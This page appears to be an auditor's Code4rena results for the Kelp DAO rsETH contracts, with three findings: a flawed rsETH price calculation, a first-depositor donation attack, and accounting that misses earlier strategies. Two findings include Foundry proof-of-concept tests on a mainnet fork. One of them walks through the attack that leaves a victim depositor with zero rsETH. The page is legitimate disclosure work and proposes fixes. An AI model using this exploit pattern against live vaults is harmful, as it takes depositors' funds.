Kelp DAO | rsETH - ast3ros's results

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L52-L79

Vulnerability details

Impact

Depositors are receiving an incorrect amount of rsETH tokens due to a flawed exchange rate calculation. This results in a loss of funds as the actual value of rsETH tokens received is less than what it should be.

Proof of Concept

When users deposit assets into the LRTDepositPool using the depositAsset function, The function will transfer the asset to the contract and calculate the rsETH amonut to mint then mint to users.

File: src/LRTDepositPool.sol
    function depositAsset(
        address asset,
        uint256 depositAmount
    )
        external
        whenNotPaused
        nonReentrant
        onlySupportedAsset(asset)
    {
        // checks
        if (depositAmount == 0) {
            revert InvalidAmount();
        }
        if (depositAmount > getAssetCurrentLimit(asset)) {
            revert MaximumDepositLimitReached();
        }

        if (!IERC20(asset).transferFrom(msg.sender, address(this), depositAmount)) {
            revert TokenTransferFailed();
        }

        // interactions
        uint256 rsethAmountMinted = _mintRsETH(asset, depositAmount);

        emit AssetDeposit(asset, depositAmount, rsethAmountMinted);
    }

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L119-L144

The amount to mint is calculated in getRsETHAmountToMint function. It takes rsETH amount to mint = asset amount * asset price / rsETH price.

    function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint)
    {
        // setup oracle contract
        address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
        ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);

        // calculate rseth amount to mint based on asset amount and asset exchange rate
        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
    }

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L95-L110

The issue lies in how the rsETH price is determined in the getRSETHPrice function.. It calculates total value of assets deposited in ETH and divided by total rsETH supply. Let's see it carefully:

• total value of assets deposited in ETH: It calculates the total value of deposited assets in ETH, including the newly deposited amount when users call depositAsset
• The total rsETH supply is the supply rsETH before the deposit is made. The mismatch overestimates the rsETH price and leads to depositors receiving fewer rsETH tokens than they are entitled to, as illustrated in the provided Proof of Concept (POC) below.

    function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L52-L79

The wrong caculation affect the rsETH receive amount of the depositor. In the following POC, Bob deposits stETH when the price is 999387153008578800. However, the rsETH price fluctuate and much higher than stETH price.

POC:

• Create in test folder: KELPTest.t.sol
• Fill the mainnet rpcURL to create a mainnet fork.
• Run forge test -vvvvv --match-contract KELPTest --match-test testDeposit

/ SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import { Test } from "forge-std/Test.sol";
import { ChainlinkPriceOracle } from "../src/oracles/ChainlinkPriceOracle.sol";
import { LRTConfig, ILRTConfig } from "src/LRTConfig.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { NodeDelegator } from "src/NodeDelegator.sol";
import { RSETH } from "src/RSETH.sol";
import { LRTOracle } from "src/LRTOracle.sol";
import { LRTConstants } from "src/utils/LRTConstants.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {console} from "forge-std/console.sol";

contract KelpTest is Test {
    address public admin = makeAddr("admin");
    address public alice = 0xE53FFF67f9f384d20Ebea36F43b93DC49Ed22753; // STETH whale.
    address public bob = makeAddr("bob");
    address public carol = makeAddr("carol");

    address constant STETH_MAINNET = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
    address constant STETH_PRICEFEED = 0x86392dC19c0b719886221c78AB11eb8Cf5c52812;
    address constant STETH_STRATEGY = 0x93c4b944D05dfe6df7645A86cd2206016c51564D;
    address constant RETH_MAINNET = 0xae78736Cd615f374D3085123A210448E74Fc6393;
    address constant RETH_PRICEFEED = 0x536218f9E9Eb48863970252233c8F271f554C2d0;
    address constant RETH_STRATEGY = 0x1BeE69b7dFFfA4E2d53C2a2Df135C388AD25dCD2;
    address constant CBETH_MAINNET = 0xBe9895146f7AF43049ca1c1AE358B0541Ea49704;
    address constant CBETH_PRICEFEED = 0xF017fcB346A1885194689bA23Eff2fE6fA5C483b;
    address constant CBETH_STRATEGY = 0x54945180dB7943c0ed0FEE7EdaB2Bd24620256bc;
    bytes32 public constant MANAGER = keccak256("MANAGER");
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant LRT_ORACLE = keccak256("LRT_ORACLE");
    bytes32 public constant LRT_DEPOSIT_POOL = keccak256("LRT_DEPOSIT_POOL");
    ChainlinkPriceOracle priceOracle;
    RSETH public rseth;
    NodeDelegator public nodeDel;
    LRTDepositPool public lrtDepositPool;
    LRTConfig public lrtConfig;
    LRTOracle public lrtOracle;
    address add1 = vm.addr(1);
    address add2 = vm.addr(1);

    function setUp() public {
        // Fork mainnet
        vm.createSelectFork(vm.rpcUrl(""), 18574643); // replace with the a RPC URL

        // Mint tokens to users:
        deal(RETH_MAINNET, alice, 100e18);
        deal(CBETH_MAINNET, alice, 100e18);
        deal(CBETH_MAINNET, bob, 100e18);

        // deploy LRTConfig
        LRTConfig lrtConfigImpl = new LRTConfig();
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy(
            address(lrtConfigImpl),
            address(proxyAdmin),
            ""
        );
        
        lrtConfig = LRTConfig(address(lrtConfigProxy));
        
        // deploy RSETH
        ProxyAdmin proxyAdminRSETH = new ProxyAdmin();
        RSETH tokenImpl = new RSETH();
        TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy(
            address(tokenImpl),
            address(proxyAdminRSETH),
            ""
        );

        rseth = RSETH(address(tokenProxy));
        rseth.initialize(address(admin), address(lrtConfig));

        lrtConfig.initialize(address(this), STETH_MAINNET, RETH_MAINNET, CBETH_MAINNET, address(rseth));
        lrtConfig.grantRole(MANAGER, address(this));
        

        // deploy LRTDepositPool
        ProxyAdmin proxyAdminPool = new ProxyAdmin();
        LRTDepositPool contractImplPool = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImplPool),
            address(proxyAdminPool),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        lrtDepositPool.initialize(address(lrtConfig));

        // deploy NodeDelegator
        ProxyAdmin proxyAdminNode = new ProxyAdmin();
        NodeDelegator nodeDelImpl = new NodeDelegator();
        TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy(
            address(nodeDelImpl),
            address(proxyAdminNode),
            ""
        );

        nodeDel = NodeDelegator(address(nodeDelProxy));
        nodeDel.initialize(address(lrtConfig));

        // Deploy the ChainlinkPriceOracle contract
        ProxyAdmin proxyAdminOracle = new ProxyAdmin();
        ChainlinkPriceOracle priceOracleImpl = new ChainlinkPriceOracle();
        TransparentUpgradeableProxy priceOracleProxy = new TransparentUpgradeableProxy(
            address(priceOracleImpl),
            address(proxyAdminOracle),
            ""
        );

        priceOracle = ChainlinkPriceOracle(address(priceOracleProxy));
        priceOracle.initialize(address(lrtConfig));
        priceOracle.updatePriceFeedFor(STETH_MAINNET, STETH_PRICEFEED);
        priceOracle.updatePriceFeedFor(RETH_MAINNET, RETH_PRICEFEED);
        priceOracle.updatePriceFeedFor(CBETH_MAINNET, CBETH_PRICEFEED);

        // LRT Oracle
        ProxyAdmin proxyAdminLTROracle = new ProxyAdmin();
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(proxyAdminLTROracle),
            ""
        );

        lrtOracle = LRTOracle(address(lrtOracleProxy));
        lrtOracle.initialize(address(lrtConfig));
        vm.startPrank(address(this));
        lrtOracle.updatePriceOracleFor(STETH_MAINNET, address(priceOracle));
        lrtOracle.updatePriceOracleFor(RETH_MAINNET, address(priceOracle));
        lrtOracle.updatePriceOracleFor(CBETH_MAINNET, address(priceOracle));
        vm.stopPrank();

        lrtConfig.setContract(LRT_ORACLE, address(lrtOracle));
        lrtConfig.setContract(LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.updateAssetStrategy(STETH_MAINNET, STETH_STRATEGY);
        lrtConfig.updateAssetStrategy(RETH_MAINNET, RETH_STRATEGY);
        lrtConfig.updateAssetStrategy(CBETH_MAINNET, CBETH_STRATEGY);

        vm.prank(admin);
        rseth.grantRole(MINTER_ROLE, address(lrtDepositPool));

        address[] memory nodeQueue = new address[](1);
        nodeQueue[0] = address(nodeDel);
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeQueue);
    }

    function testDeposit() public {  
        // Setup
        vm.startPrank(alice);
        ERC20(STETH_MAINNET).transfer(bob, 10 ether);
        ERC20(STETH_MAINNET).approve(address(lrtDepositPool), 10 ether);

        // Alice deposit 1e18 stETH
        lrtDepositPool.depositAsset(STETH_MAINNET, 1 ether);
        assertEq(rseth.balanceOf(address(alice)), 999387153008578800); // at rsETH price: 1e18 => Alice receive 999387153008578800 rsETH
        assertEq(rseth.totalSupply(), 999387153008578800);
    
        // Bob deposit and the stETH price fluctuate and increase, lead to receiving much less than should be.
        vm.startPrank(bob);
        ERC20(STETH_MAINNET).approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(STETH_MAINNET, 1 ether); // rsETH price double to 1999999999999999999 => Bob deposit 1e18 stETH and only receive 499693576504289400 => Actual rate: 0.49
        assertEq(rseth.balanceOf(address(bob)), 499693576504289400);
        uint256 balanceBobBefore1 = rseth.balanceOf(address(bob));

        lrtDepositPool.depositAsset(STETH_MAINNET, 4 ether); // rsETH price double to 3999999999999999999 => Bob deposit 4e18 stETH and only receive 999387153008578800 => Actual rate: 0.24
        uint256 balanceBobAfter1 = rseth.balanceOf(address(bob));
        assertEq(balanceBobAfter1 - balanceBobBefore1, 999387153008578800);

        lrtDepositPool.depositAsset(STETH_MAINNET, 1 ether); // rs ETH price decrease to 2799999999999999999 => Bob deposit 1e18 stETH and only receive 356923983217349571 => Actual rate: 0.35
        uint256 balanceBobAfter2 = rseth.balanceOf(address(bob));
        assertEq(balanceBobAfter2 - balanceBobAfter1, 356923983217349571);
        vm.stopPrank();
    }
}

Tools Used

Manual

Recommended Mitigation Steps

Exclude New Deposits in Price Calculation: Modify the getRSETHPrice function to calculate the rsETH price without including the value of the asset currently being deposited.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L52-L79

Vulnerability details

Impact

This vulnerability allows a malicious actor to manipulate the rsETH exchange rate, causing subsequent depositors to receive zero rsETH due to rounding errors. This results in a direct financial loss for these depositors.

Proof of Concept

When depositing, the getRsETHAmountToMint function computes the amount of rsETH to be minted for a depositor. It multiplies the deposited asset amount by its price and divides this by the current rsETH price.

    function getRsETHAmountToMint(
        address asset,
        uint256 amount
    )
        public
        view
        override
        returns (uint256 rsethAmountToMint)
    {
        // setup oracle contract
        address lrtOracleAddress = lrtConfig.getContract(LRTConstants.LRT_ORACLE);
        ILRTOracle lrtOracle = ILRTOracle(lrtOracleAddress);

        // calculate rseth amount to mint based on asset amount and asset exchange rate
        rsethAmountToMint = (amount * lrtOracle.getAssetPrice(asset)) / lrtOracle.getRSETHPrice();
    }

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L95-L110

It depends on the current rsETH price. And the rsETH price is calculated based on total ETH in pool / rsETH supply. A malicous user can donate stETH, cbETH or rETH to inflate the rsETH price. As a result, subsequent depositors receive an rsETH amount that rounds down to zero, effectively giving the attacker control over the entire pool's shares.

    function getRSETHPrice() external view returns (uint256 rsETHPrice) {
        address rsETHTokenAddress = lrtConfig.rsETH();
        uint256 rsEthSupply = IRSETH(rsETHTokenAddress).totalSupply();

        if (rsEthSupply == 0) {
            return 1 ether;
        }

        uint256 totalETHInPool;
        address lrtDepositPoolAddr = lrtConfig.getContract(LRTConstants.LRT_DEPOSIT_POOL);

        address[] memory supportedAssets = lrtConfig.getSupportedAssetList();
        uint256 supportedAssetCount = supportedAssets.length;

        for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
            address asset = supportedAssets[asset_idx];
            uint256 assetER = getAssetPrice(asset);

            uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
            totalETHInPool += totalAssetAmt * assetER;

            unchecked {
                ++asset_idx;
            }
        }

        return totalETHInPool / rsEthSupply;
    }

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L52-L79

POC:

• Create in test folder: Donation.t.sol
• Fill the mainnet rpcURL to create a mainnet fork.
• Run forge test -vvvvv --match-contract DonationTest --match-test testDonationAttack

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

import { Test } from "forge-std/Test.sol";
import { ChainlinkPriceOracle } from "../src/oracles/ChainlinkPriceOracle.sol";
import { LRTConfig, ILRTConfig } from "src/LRTConfig.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { NodeDelegator } from "src/NodeDelegator.sol";
import { RSETH } from "src/RSETH.sol";
import { LRTOracle } from "src/LRTOracle.sol";
import { LRTConstants } from "src/utils/LRTConstants.sol";
import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {console} from "forge-std/console.sol";

contract DonationTest is Test {
    address public admin = makeAddr("admin");
    address public alice = 0xE53FFF67f9f384d20Ebea36F43b93DC49Ed22753; // STETH whale.
    address public bob = makeAddr("bob");
    address public carol = makeAddr("carol");

    address constant STETH_MAINNET = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84;
    address constant STETH_PRICEFEED = 0x86392dC19c0b719886221c78AB11eb8Cf5c52812;
    address constant STETH_STRATEGY = 0x93c4b944D05dfe6df7645A86cd2206016c51564D;
    address constant RETH_MAINNET = 0xae78736Cd615f374D3085123A210448E74Fc6393;
    address constant RETH_PRICEFEED = 0x536218f9E9Eb48863970252233c8F271f554C2d0;
    address constant RETH_STRATEGY = 0x1BeE69b7dFFfA4E2d53C2a2Df135C388AD25dCD2;
    address constant CBETH_MAINNET = 0xBe9895146f7AF43049ca1c1AE358B0541Ea49704;
    address constant CBETH_PRICEFEED = 0xF017fcB346A1885194689bA23Eff2fE6fA5C483b;
    address constant CBETH_STRATEGY = 0x54945180dB7943c0ed0FEE7EdaB2Bd24620256bc;
    bytes32 public constant MANAGER = keccak256("MANAGER");
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant LRT_ORACLE = keccak256("LRT_ORACLE");
    bytes32 public constant LRT_DEPOSIT_POOL = keccak256("LRT_DEPOSIT_POOL");
    ChainlinkPriceOracle priceOracle;
    RSETH public rseth;
    NodeDelegator public nodeDel;
    LRTDepositPool public lrtDepositPool;
    LRTConfig public lrtConfig;
    LRTOracle public lrtOracle;
    address add1 = vm.addr(1);
    address add2 = vm.addr(1);

    function setUp() public {
        // Fork mainnet
        vm.createSelectFork(vm.rpcUrl("")); // replace with the a RPC URL

        // Mint tokens to users:
        deal(RETH_MAINNET, alice, 100e18);
        deal(CBETH_MAINNET, alice, 100e18);
        deal(CBETH_MAINNET, bob, 100e18);

        // deploy LRTConfig
        LRTConfig lrtConfigImpl = new LRTConfig();
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        TransparentUpgradeableProxy lrtConfigProxy = new TransparentUpgradeableProxy(
            address(lrtConfigImpl),
            address(proxyAdmin),
            ""
        );
        
        lrtConfig = LRTConfig(address(lrtConfigProxy));
        
        // deploy RSETH
        ProxyAdmin proxyAdminRSETH = new ProxyAdmin();
        RSETH tokenImpl = new RSETH();
        TransparentUpgradeableProxy tokenProxy = new TransparentUpgradeableProxy(
            address(tokenImpl),
            address(proxyAdminRSETH),
            ""
        );

        rseth = RSETH(address(tokenProxy));
        rseth.initialize(address(admin), address(lrtConfig));

        lrtConfig.initialize(address(this), STETH_MAINNET, RETH_MAINNET, CBETH_MAINNET, address(rseth));
        lrtConfig.grantRole(MANAGER, address(this));
        

        // deploy LRTDepositPool
        ProxyAdmin proxyAdminPool = new ProxyAdmin();
        LRTDepositPool contractImplPool = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImplPool),
            address(proxyAdminPool),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        lrtDepositPool.initialize(address(lrtConfig));

        // deploy NodeDelegator
        ProxyAdmin proxyAdminNode = new ProxyAdmin();
        NodeDelegator nodeDelImpl = new NodeDelegator();
        TransparentUpgradeableProxy nodeDelProxy = new TransparentUpgradeableProxy(
            address(nodeDelImpl),
            address(proxyAdminNode),
            ""
        );

        nodeDel = NodeDelegator(address(nodeDelProxy));
        nodeDel.initialize(address(lrtConfig));

        // Deploy the ChainlinkPriceOracle contract
        ProxyAdmin proxyAdminOracle = new ProxyAdmin();
        ChainlinkPriceOracle priceOracleImpl = new ChainlinkPriceOracle();
        TransparentUpgradeableProxy priceOracleProxy = new TransparentUpgradeableProxy(
            address(priceOracleImpl),
            address(proxyAdminOracle),
            ""
        );

        priceOracle = ChainlinkPriceOracle(address(priceOracleProxy));
        priceOracle.initialize(address(lrtConfig));
        priceOracle.updatePriceFeedFor(STETH_MAINNET, STETH_PRICEFEED);
        priceOracle.updatePriceFeedFor(RETH_MAINNET, RETH_PRICEFEED);
        priceOracle.updatePriceFeedFor(CBETH_MAINNET, CBETH_PRICEFEED);

        // LRT Oracle
        ProxyAdmin proxyAdminLTROracle = new ProxyAdmin();
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(proxyAdminLTROracle),
            ""
        );

        lrtOracle = LRTOracle(address(lrtOracleProxy));
        lrtOracle.initialize(address(lrtConfig));
        vm.startPrank(address(this));
        lrtOracle.updatePriceOracleFor(STETH_MAINNET, address(priceOracle));
        lrtOracle.updatePriceOracleFor(RETH_MAINNET, address(priceOracle));
        lrtOracle.updatePriceOracleFor(CBETH_MAINNET, address(priceOracle));
        vm.stopPrank();

        lrtConfig.setContract(LRT_ORACLE, address(lrtOracle));
        lrtConfig.setContract(LRT_DEPOSIT_POOL, address(lrtDepositPool));
        lrtConfig.updateAssetStrategy(STETH_MAINNET, STETH_STRATEGY);
        lrtConfig.updateAssetStrategy(RETH_MAINNET, RETH_STRATEGY);
        lrtConfig.updateAssetStrategy(CBETH_MAINNET, CBETH_STRATEGY);

        vm.prank(admin);
        rseth.grantRole(MINTER_ROLE, address(lrtDepositPool));

        address[] memory nodeQueue = new address[](1);
        nodeQueue[0] = address(nodeDel);
        lrtDepositPool.addNodeDelegatorContractToQueue(nodeQueue);
    }

    function testDonationAttack() public {
        // Alice deposit 1 wei
        vm.startPrank(alice);
        ERC20(CBETH_MAINNET).approve(address(lrtDepositPool), 1 ether);
        lrtDepositPool.depositAsset(CBETH_MAINNET, 1 wei);
        assertEq(rseth.balanceOf(address(alice)), 1 wei);
        assertEq(rseth.totalSupply(), 1 wei);

        // donate 1 ether to inflate the price
        ERC20(CBETH_MAINNET).transfer(address(lrtDepositPool), 1 ether);
        vm.stopPrank();

        // Bob deposit 1 cbETH but receive no rsETH.
        vm.startPrank(bob);
        ERC20(CBETH_MAINNET).approve(address(lrtDepositPool), 10 ether);
        lrtDepositPool.depositAsset(CBETH_MAINNET, 1 ether);
        assertEq(rseth.balanceOf(address(bob)), 0);
        assertEq(rseth.totalSupply(), 1 wei);
    }
}

Tools Used

Manual

Recommended Mitigation Steps

There are some options that are well-known:

• Having an internal variable to track total asset instead of using balanceOf.
• Initial deposit to have a certain minimum size to make the attack expensive.
• Revert when the rsethAmountToMint returns 0.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L66-L76 https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L66-L89

Vulnerability details

Impact

This issue leads to an understatement of the total assets deposited in the Eigen layer, resulting in an inaccurate rsETH price calculation. Consequently, depositors receive an incorrect amount of rsETH tokens.

Proof of Concept

When calculate the rsETH price, the getRSETHPrice function calculates the rsETH price by looping through all supported assets and obtaining their total deposits using ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset).

    for (uint16 asset_idx; asset_idx < supportedAssetCount;) {
        address asset = supportedAssets[asset_idx];
        uint256 assetER = getAssetPrice(asset);

        uint256 totalAssetAmt = ILRTDepositPool(lrtDepositPoolAddr).getTotalAssetDeposits(asset);
        totalETHInPool += totalAssetAmt * assetER;

        unchecked {
            ++asset_idx;
        }
    }

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTOracle.sol#L66-L76

The getTotalAssetDeposits function relies on getAssetDistributionData to calculate the total assets, which includes assets in the LRTDepositPool, NDCs, and Eigen Layer.

    /// @dev provides asset amount distribution data among depositPool, NDCs and eigenLayer
    /// @param asset the asset to get the total amount of
    /// @return assetLyingInDepositPool asset amount lying in this LRTDepositPool contract
    /// @return assetLyingInNDCs asset amount sum lying in all NDC contract
    /// @return assetStakedInEigenLayer asset amount staked in eigen layer through all NDCs
    function getAssetDistributionData(address asset)
        public
        view
        override
        onlySupportedAsset(asset)
        returns (uint256 assetLyingInDepositPool, uint256 assetLyingInNDCs, uint256 assetStakedInEigenLayer)
    {
        // Question: is here the right place to have this? Could it be in LRTConfig?
        assetLyingInDepositPool = IERC20(asset).balanceOf(address(this));

        uint256 ndcsCount = nodeDelegatorQueue.length;
        for (uint256 i; i < ndcsCount;) {
            assetLyingInNDCs += IERC20(asset).balanceOf(nodeDelegatorQueue[i]);
            assetStakedInEigenLayer += INodeDelegator(nodeDelegatorQueue[i]).getAssetBalance(asset);
            unchecked {
                ++i;
            }
        }
    }

https://github.com/code-423n4/2023-11-kelp/blob/ee1154fcb6f6619cdc9aeda27503d9a2cbf6d8eb/src/LRTDepositPool.sol#L66-L89

What interesting is when calculating the assetStakedInEigenLayer, it calls getAssetBalance in NodeDelegator. The function getAssetBalance retrieves the current strategy of the assets by calling lrtConfig.assetStrategy and call strategy.userUnderlyingView

    /// @dev Returns the balance of an asset that the node delegator has deposited into the strategy
    /// @param asset the asset to get the balance of
    /// @return stakedBalance the balance of the asset
    function getAssetBalance(address asset) external view override returns (uint256) {
        address strategy = lrtConfig.assetStrategy(asset);
        return IStrategy(strategy).userUnderlyingView(address(this));
    }

Inspect carefully, we see that lrtConfig.assetStrategy(asset) only returns the current strategy. However an assets can be deposited in multiple strategies. For example in case a strategy of an asset is fully deposited (a strategy has max total deposit), the admin can call LRTConfig.updateAssetStrategy to update so that the asset can be deposited in another strategy in Eigen layer. In case an asset is deposited in multiple strategies, getAssetBalance only accounts for the asset balance in the current strategy, ignoring other strategies where the asset may also be deposited.

This oversight leads to a significant underrepresentation of the total assets staked in the Eigen Layer. The flawed calculation directly impacts the rsETH price, leading to incorrect minting amounts for depositors.

Tools Used

Manual

Recommended Mitigation Steps

• Modify the system to keep a record of all strategies in which an asset is invested, not just the current strategy.
• Adjust the getAssetBalance function in NodeDelegator to iterate over all strategies associated with an asset. Sum up the balances from each strategy to get a comprehensive view of the asset's total stake in the Eigen Layer.

Assessed type

Context